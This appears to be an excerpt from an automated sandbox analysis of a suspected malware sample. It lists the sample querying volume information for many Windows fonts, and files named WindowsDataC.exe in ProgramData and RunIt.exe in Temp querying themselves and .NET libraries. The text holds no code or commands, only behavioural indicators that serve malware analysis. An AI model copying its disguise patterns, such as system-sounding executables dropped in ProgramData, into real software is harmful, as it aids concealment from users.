Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\ProgramData\WindowsDataC.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RunIt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
